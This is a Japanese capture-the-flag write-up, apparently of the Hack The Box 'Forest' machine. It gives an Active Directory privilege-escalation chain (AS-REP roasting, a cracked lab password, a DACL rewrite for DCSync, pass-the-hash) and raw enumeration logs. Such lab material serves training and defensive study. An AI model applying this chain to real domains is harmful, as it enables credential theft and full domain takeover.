Forest¶
Flag-Critical Knowledge¶
ADオブジェクトの種類で攻撃方法を判断する¶
BloodHoundで GenericAll や WriteDacl などの制御権限を見つけたら、対象オブジェクトの種類によって次の攻撃を選ぶ。
| 対象オブジェクト | 攻撃パターン | 目的 |
|---|---|---|
| ユーザー | パスワード変更 | 対象ユーザーを掌握する |
| グループ | 制御中のユーザーをグループへ追加する | グループの権限を継承する |
| コンピュータ | RBCD、Shadow Credentials | 対象コンピュータを掌握する |
| ドメイン | ドメインACLへレプリケーション権限を付与する | DCSyncでドメインの資格情報を取得する |
ユーザーへの制御権限 → パスワード変更
グループへの制御権限 → グループメンバー追加
コンピュータへの制御権限 → RBCD / Shadow Credentials
ドメインへの制御権限 → DCSync権限付与 → secretsdump
トリガー、攻撃パターン¶
ACLトリガー: ドメインオブジェクトへのWriteDacl¶
BloodHoundで、制御できるユーザーまたはグループからドメインオブジェクトへの WriteDacl を見つけたら、DCSyncへの経路を検討する。
制御できるユーザー / グループ
→ ドメインオブジェクトへの WriteDacl
→ ドメインACLに自分の GenericAll(またはDCSync権限)を付与
→ secretsdumpでDCSync
→ AdministratorのNTLM hashを取得
攻撃パターン:
WriteDaclを持つ主体を使い、ドメインオブジェクトのDACLを書き換える。- 制御中のアカウントに
GenericAllまたはレプリケーション権限を付与する。 secretsdump -just-dcでDCSyncを実行し、取得したNTLM hashでPass-the-Hashを試す。
attack summary¶
Anonymous RPC / LDAPでドメインユーザーを列挙
→ svc-alfrescoをAS-REP Roast
→ hashcatでsvc-alfresco:s3rviceを取得
→ svc-alfrescoでWinRM
→ user.txtを取得
→ BloodHoundでAccount OperatorsからExchange Windows PermissionsへのGenericAllを確認
→ svc-alfrescoをExchange Windows Permissionsに追加
→ ドメインDACLを書き換えてDCSyncを可能にする
→ DCSync(secretsdump)でAdministratorのNTLM hashを取得
→ Pass-the-HashでAdministratorとしてWinRM
→ root.txtを取得
walkthrough(生メモ)¶
10.129.56.26
10.129.56.26
forest.htb.local
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-15 07:55 JST
Warning: 10.129.56.26 giving up on port because retransmission cap hit (3).
Nmap scan report for 10.129.56.26
Host is up (0.094s latency).
Not shown: 65238 closed tcp ports (conn-refused), 274 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49671/tcp open unknown
49680/tcp open unknown
49681/tcp open unknown
49685/tcp open unknown
49700/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 88.39 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-15 07:56 JST
Nmap scan report for 10.129.56.26
Host is up (0.099s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-14 23:02:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-10-14T16:03:21-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2h25m40s, deviation: 4h02m29s, median: 5m40s
| smb2-time:
| date: 2026-10-14T23:03:22
|_ start_date: 2026-10-14T22:58:55
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.00 seconds
[!!!] Domain Controller found on 10.129.56.26
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-15 07:57 JST
Warning: 10.129.56.26 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.56.26
Host is up (0.17s latency).
Not shown: 83 closed udp ports (port-unreach)
PORT STATE SERVICE
19/udp open|filtered chargen
49/udp open|filtered tacacs
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
500/udp open|filtered isakmp
1028/udp open|filtered ms-lsa
2222/udp open|filtered msantipiracy
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
10000/udp open|filtered ndmp
49188/udp open|filtered unknown
49200/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 103.40 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-15 07:59 JST
Warning: 10.129.56.26 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.56.26
Host is up (0.098s latency).
Not shown: 7 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
| DNS-SD:
| _services
| _dns-sd
| _udp
| local
| NBTStat:
|_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-14 23:05:28Z)
123/udp open ntp NTP v3
| ntp-info:
|_
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
49188/udp open|filtered unknown
49200/udp open|filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=10/15%Time=6AD00973%P=aarch64-unknown-linux-gnu
SF:%r(DNS-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_
SF:udp\x05local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0
SF:\0\0\0\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 5m49s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 209.39 seconds
[!!!] DNS server found on 10.129.56.26
[*] Scan completed.
┌──(kali@kali)-[~/htb/Forest]
└─$
Host script results:
|_clock-skew: 5m49s
sudo ntpdate -q 10.129.56.26
date
sudo ntpdate 10.129.56.26
date
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ sudo ntpdate -q 10.129.56.26
2026-10-16 09:32:33.999329 (+0900) +340.031289 +/- 0.049855 10.129.56.26 s1 no-leap
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ date
Fri Oct 16 09:26:56 AM JST 2026
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ sudo ntpdate 10.129.56.26
2026-10-16 09:32:41.482091 (+0900) +339.944406 +/- 0.066205 10.129.56.26 s1 no-leap
CLOCK: time stepped by 339.944406
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ date
Fri Oct 16 09:32:43 AM JST 2026
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
winrm列挙
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
⇒列挙なし
dns列挙
53/tcp open domain Simple DNS Plus
dig @10.129.56.26 htb.local any
dig axfr @10.129.56.26 htb.local
dnsrecon -d htb.local -n 10.129.56.26
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ dig @10.129.56.26 htb.local any
; <<>> DiG 9.20.9-1-Debian <<>> @10.129.56.26 htb.local any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15116
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 4
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
; COOKIE: aa70ec84860d0580 (echoed)
;; QUESTION SECTION:
;htb.local. IN ANY
;; ANSWER SECTION:
htb.local. 600 IN A 10.129.56.26
htb.local. 3600 IN NS forest.htb.local.
htb.local. 3600 IN SOA forest.htb.local. hostmaster.htb.local. 122 900 600 86400 3600
htb.local. 600 IN AAAA dead:beef::4c76:8e74:1668:b0d9
htb.local. 600 IN AAAA dead:beef::129
;; ADDITIONAL SECTION:
forest.htb.local. 3600 IN A 10.129.56.26
forest.htb.local. 3600 IN AAAA dead:beef::129
forest.htb.local. 3600 IN AAAA dead:beef::4c76:8e74:1668:b0d9
;; Query time: 79 msec
;; SERVER: 10.129.56.26#53(10.129.56.26) (TCP)
;; WHEN: Fri Oct 16 09:34:16 JST 2026
;; MSG SIZE rcvd: 262
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ dig axfr @10.129.56.26 htb.local
; <<>> DiG 9.20.9-1-Debian <<>> axfr @10.129.56.26 htb.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ dnsrecon -d htb.local -n 10.129.56.26
[*] std: Performing General Enumeration against: htb.local...
[-] DNSSEC is not configured for htb.local
[*] SOA forest.htb.local 10.129.56.26
[*] SOA forest.htb.local dead:beef::129
[*] SOA forest.htb.local dead:beef::4c76:8e74:1668:b0d9
[*] NS forest.htb.local 10.129.56.26
[*] NS forest.htb.local dead:beef::129
[*] NS forest.htb.local dead:beef::4c76:8e74:1668:b0d9
[*] A htb.local 10.129.56.26
[*] AAAA htb.local dead:beef::4c76:8e74:1668:b0d9
[*] AAAA htb.local dead:beef::129
[*] Enumerating SRV Records
[+] SRV _kerberos._tcp.htb.local FOREST.htb.local 10.129.56.26 88
[+] SRV _kerberos._tcp.htb.local FOREST.htb.local dead:beef::129 88
[+] SRV _kerberos._tcp.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 88
[+] SRV _ldap._tcp.htb.local FOREST.htb.local 10.129.56.26 389
[+] SRV _ldap._tcp.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 389
[+] SRV _ldap._tcp.htb.local FOREST.htb.local dead:beef::129 389
[+] SRV _kerberos._udp.htb.local FOREST.htb.local 10.129.56.26 88
[+] SRV _kerberos._udp.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 88
[+] SRV _kerberos._udp.htb.local FOREST.htb.local dead:beef::129 88
[+] SRV _gc._tcp.htb.local FOREST.htb.local 10.129.56.26 3268
[+] SRV _gc._tcp.htb.local FOREST.htb.local dead:beef::129 3268
[+] SRV _gc._tcp.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 3268
[+] SRV _ldap._tcp.ForestDNSZones.htb.local FOREST.htb.local 10.129.56.26 389
[+] SRV _ldap._tcp.ForestDNSZones.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 389
[+] SRV _ldap._tcp.ForestDNSZones.htb.local FOREST.htb.local dead:beef::129 389
[+] SRV _ldap._tcp.dc._msdcs.htb.local FOREST.htb.local 10.129.56.26 389
[+] SRV _ldap._tcp.dc._msdcs.htb.local FOREST.htb.local dead:beef::129 389
[+] SRV _ldap._tcp.dc._msdcs.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 389
[+] SRV _ldap._tcp.pdc._msdcs.htb.local FOREST.htb.local 10.129.56.26 389
[+] SRV _ldap._tcp.pdc._msdcs.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 389
[+] SRV _ldap._tcp.pdc._msdcs.htb.local FOREST.htb.local dead:beef::129 389
[+] SRV _ldap._tcp.gc._msdcs.htb.local FOREST.htb.local 10.129.56.26 3268
[+] SRV _ldap._tcp.gc._msdcs.htb.local FOREST.htb.local dead:beef::129 3268
[+] SRV _ldap._tcp.gc._msdcs.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 3268
[+] SRV _kerberos._tcp.dc._msdcs.htb.local FOREST.htb.local 10.129.56.26 88
[+] SRV _kerberos._tcp.dc._msdcs.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 88
[+] SRV _kerberos._tcp.dc._msdcs.htb.local FOREST.htb.local dead:beef::129 88
[+] SRV _kpasswd._tcp.htb.local FOREST.htb.local 10.129.56.26 464
[+] SRV _kpasswd._tcp.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 464
[+] SRV _kpasswd._tcp.htb.local FOREST.htb.local dead:beef::129 464
[+] SRV _kpasswd._udp.htb.local FOREST.htb.local 10.129.56.26 464
[+] SRV _kpasswd._udp.htb.local FOREST.htb.local dead:beef::129 464
[+] SRV _kpasswd._udp.htb.local FOREST.htb.local dead:beef::4c76:8e74:1668:b0d9 464
[+] 33 Records Found
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$
msrpc、smb列挙
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ nxc smb 10.129.56.26
SMB 10.129.56.26 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ nxc smb 10.129.56.26 -u '' -p ''
SMB 10.129.56.26 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.129.56.26 445 FOREST [+] htb.local\:
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ nxc smb 10.129.56.26 -u guest -p ''
SMB 10.129.56.26 445 FOREST [*] Windows 10 / Server 2016 Build 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB 10.129.56.26 445 FOREST [-] htb.local\guest: STATUS_ACCOUNT_DISABLED
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbclient -L //10.129.56.26 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.56.26 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ smbclient -L //10.129.56.26 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.56.26 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ rpcclient -U "" -N 10.129.56.26
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $> querydispinfo
index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000010 Account: Administrator Name: Administrator Desc: Built-in account for administering the computer/domain
index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy Name: Andy Hislip Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1 Name: HealthMailbox-EXCH01-010 Desc: (null)
index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e Name: HealthMailbox-EXCH01-003 Desc: (null)
index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678 Name: HealthMailbox-EXCH01-005 Desc: (null)
index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e Name: HealthMailbox-EXCH01-009 Desc: (null)
index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781 Name: HealthMailbox-EXCH01-006 Desc: (null)
index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d Name: HealthMailbox-EXCH01-004 Desc: (null)
index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64 Name: HealthMailbox-EXCH01-008 Desc: (null)
index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9 Name: HealthMailbox-EXCH01-002 Desc: (null)
index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722 Name: HealthMailbox-EXCH01-Mailbox-Database-1118319013 Desc: (null)
index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad Name: HealthMailbox-EXCH01-001 Desc: (null)
index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238 Name: HealthMailbox-EXCH01-007 Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda Name: Lucinda Berger Desc: (null)
index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark Name: Mark Brandt Desc: (null)
index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi Name: Santi Rodriguez Desc: (null)
index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien Name: Sebastien Caron Desc: (null)
index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb Name: Microsoft Exchange Migration Desc: (null)
index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} Desc: (null)
index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb Name: Microsoft Exchange Approval Assistant Desc: (null)
index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18 Name: Discovery Search Mailbox Desc: (null)
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a Name: Microsoft Exchange Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb Name: E4E Encryption Store - Active Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549 Name: Microsoft Exchange Federation Mailbox Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b Name: Microsoft Exchange Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b Name: Microsoft Exchange Desc: (null)
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco Name: svc-alfresco Desc: (null)
rpcclient $> exit
┌──(kali@kali)-[~/htb/Forest/10.129.56.26]
└─$ enum4linux-ng 10.129.56.26
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 10.129.56.26
[*] Username ......... ''
[*] Random Username .. 'ratjlcjq'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
======================================
| Listener Scan on 10.129.56.26 |
======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=====================================================
| Domain Information via LDAP for 10.129.56.26 |
=====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: htb.local
============================================================
| NetBIOS Names and Workgroup/Domain for 10.129.56.26 |
============================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
==========================================
| SMB Dialect Check on 10.129.56.26 |
==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
============================================================
| Domain Information via SMB session for 10.129.56.26 |
============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: FOREST
NetBIOS domain name: HTB
DNS domain: htb.local
FQDN: FOREST.htb.local
Derived membership: domain member
Derived domain: HTB
==========================================
| RPC Session Check on 10.129.56.26 |
==========================================
[*] Check for anonymous access (null session)
[+] Server allows authentication via username '' and password ''
[*] Check for guest access
[-] Could not establish guest session: STATUS_LOGON_FAILURE
====================================================
| Domain Information via RPC for 10.129.56.26 |
====================================================
[+] Domain: HTB
[+] Domain SID: S-1-5-21-3072663084-364016917-1341370565
[+] Membership: domain member
================================================
| OS Information via RPC for 10.129.56.26 |
================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Could not get OS info via 'srvinfo': STATUS_ACCESS_DENIED
[+] After merging OS information we have the following result:
OS: Windows Server 2016 Standard 14393
OS version: '10.0'
OS release: '1607'
OS build: '14393'
Native OS: Windows Server 2016 Standard 14393
Native LAN manager: Windows Server 2016 Standard 6.3
Platform id: null
Server type: null
Server type string: null
======================================
| Users via RPC on 10.129.56.26 |
======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 31 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 31 user(s) via 'enumdomusers'
[+] After merging user results we have 31 user(s) total:
'1123':
username: $331000-VK4ADACQNUCA
name: (null)
acb: '0x00020015'
description: (null)
'1124':
username: SM_2c8eef0a09b545acb
name: Microsoft Exchange Approval Assistant
acb: '0x00020011'
description: (null)
'1125':
username: SM_ca8c2ed5bdab4dc9b
name: Microsoft Exchange
acb: '0x00020011'
description: (null)
'1126':
username: SM_75a538d3025e4db9a
name: Microsoft Exchange
acb: '0x00020011'
description: (null)
'1127':
username: SM_681f53d4942840e18
name: Discovery Search Mailbox
acb: '0x00020011'
description: (null)
'1128':
username: SM_1b41c9286325456bb
name: Microsoft Exchange Migration
acb: '0x00020011'
description: (null)
'1129':
username: SM_9b69f1b9d2cc45549
name: Microsoft Exchange Federation Mailbox
acb: '0x00020011'
description: (null)
'1130':
username: SM_7c96b981967141ebb
name: E4E Encryption Store - Active
acb: '0x00020011'
description: (null)
'1131':
username: SM_c75ee099d0a64c91b
name: Microsoft Exchange
acb: '0x00020011'
description: (null)
'1132':
username: SM_1ffab36a2f5f479cb
name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}
acb: '0x00020011'
description: (null)
'1134':
username: HealthMailboxc3d7722
name: HealthMailbox-EXCH01-Mailbox-Database-1118319013
acb: '0x00000210'
description: (null)
'1135':
username: HealthMailboxfc9daad
name: HealthMailbox-EXCH01-001
acb: '0x00000210'
description: (null)
'1136':
username: HealthMailboxc0a90c9
name: HealthMailbox-EXCH01-002
acb: '0x00000210'
description: (null)
'1137':
username: HealthMailbox670628e
name: HealthMailbox-EXCH01-003
acb: '0x00000210'
description: (null)
'1138':
username: HealthMailbox968e74d
name: HealthMailbox-EXCH01-004
acb: '0x00000210'
description: (null)
'1139':
username: HealthMailbox6ded678
name: HealthMailbox-EXCH01-005
acb: '0x00000210'
description: (null)
'1140':
username: HealthMailbox83d6781
name: HealthMailbox-EXCH01-006
acb: '0x00000210'
description: (null)
'1141':
username: HealthMailboxfd87238
name: HealthMailbox-EXCH01-007
acb: '0x00000210'
description: (null)
'1142':
username: HealthMailboxb01ac64
name: HealthMailbox-EXCH01-008
acb: '0x00000210'
description: (null)
'1143':
username: HealthMailbox7108a4e
name: HealthMailbox-EXCH01-009
acb: '0x00000210'
description: (null)
'1144':
username: HealthMailbox0659cc1
name: HealthMailbox-EXCH01-010
acb: '0x00000210'
description: (null)
'1145':
username: sebastien
name: Sebastien Caron
acb: '0x00000210'
description: (null)
'1146':
username: lucinda
name: Lucinda Berger
acb: '0x00000210'
description: (null)
'1147':
username: svc-alfresco
name: svc-alfresco
acb: '0x00010210'
description: (null)
'1150':
username: andy
name: Andy Hislip
acb: '0x00000210'
description: (null)
'1151':
username: mark
name: Mark Brandt
acb: '0x00000210'
description: (null)
'1152':
username: santi
name: Santi Rodriguez
acb: '0x00000210'
description: (null)
'500':
username: Administrator
name: Administrator
acb: '0x00000010'
description: Built-in account for administering the computer/domain
'501':
username: Guest
name: (null)
acb: '0x00000215'
description: Built-in account for guest access to the computer/domain
'502':
username: krbtgt
name: (null)
acb: '0x00000011'
description: Key Distribution Center Service Account
'503':
username: DefaultAccount
name: (null)
acb: '0x00000215'
description: A user account managed by the system.
=======================================
| Groups via RPC on 10.129.56.26 |
=======================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 29 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 38 group(s) via 'enumdomgroups'
[+] After merging groups results we have 72 group(s) total:
'1101':
groupname: DnsAdmins
type: local
'1102':
groupname: DnsUpdateProxy
type: domain
'1104':
groupname: Organization Management
type: domain
'1105':
groupname: Recipient Management
type: domain
'1106':
groupname: View-Only Organization Management
type: domain
'1107':
groupname: Public Folder Management
type: domain
'1108':
groupname: UM Management
type: domain
'1109':
groupname: Help Desk
type: domain
'1110':
groupname: Records Management
type: domain
'1111':
groupname: Discovery Management
type: domain
'1112':
groupname: Server Management
type: domain
'1113':
groupname: Delegated Setup
type: domain
'1114':
groupname: Hygiene Management
type: domain
'1115':
groupname: Compliance Management
type: domain
'1116':
groupname: Security Reader
type: domain
'1117':
groupname: Security Administrator
type: domain
'1118':
groupname: Exchange Servers
type: domain
'1119':
groupname: Exchange Trusted Subsystem
type: domain
'1120':
groupname: Managed Availability Servers
type: domain
'1121':
groupname: Exchange Windows Permissions
type: domain
'1122':
groupname: ExchangeLegacyInterop
type: domain
'1133':
groupname: $D31000-NSEL5BRJ63V7
type: domain
'1148':
groupname: Service Accounts
type: domain
'1149':
groupname: Privileged IT Accounts
type: domain
'498':
groupname: Enterprise Read-only Domain Controllers
type: domain
'5101':
groupname: test
type: domain
'512':
groupname: Domain Admins
type: domain
'513':
groupname: Domain Users
type: domain
'514':
groupname: Domain Guests
type: domain
'515':
groupname: Domain Computers
type: domain
'516':
groupname: Domain Controllers
type: domain
'517':
groupname: Cert Publishers
type: local
'518':
groupname: Schema Admins
type: domain
'519':
groupname: Enterprise Admins
type: domain
'520':
groupname: Group Policy Creator Owners
type: domain
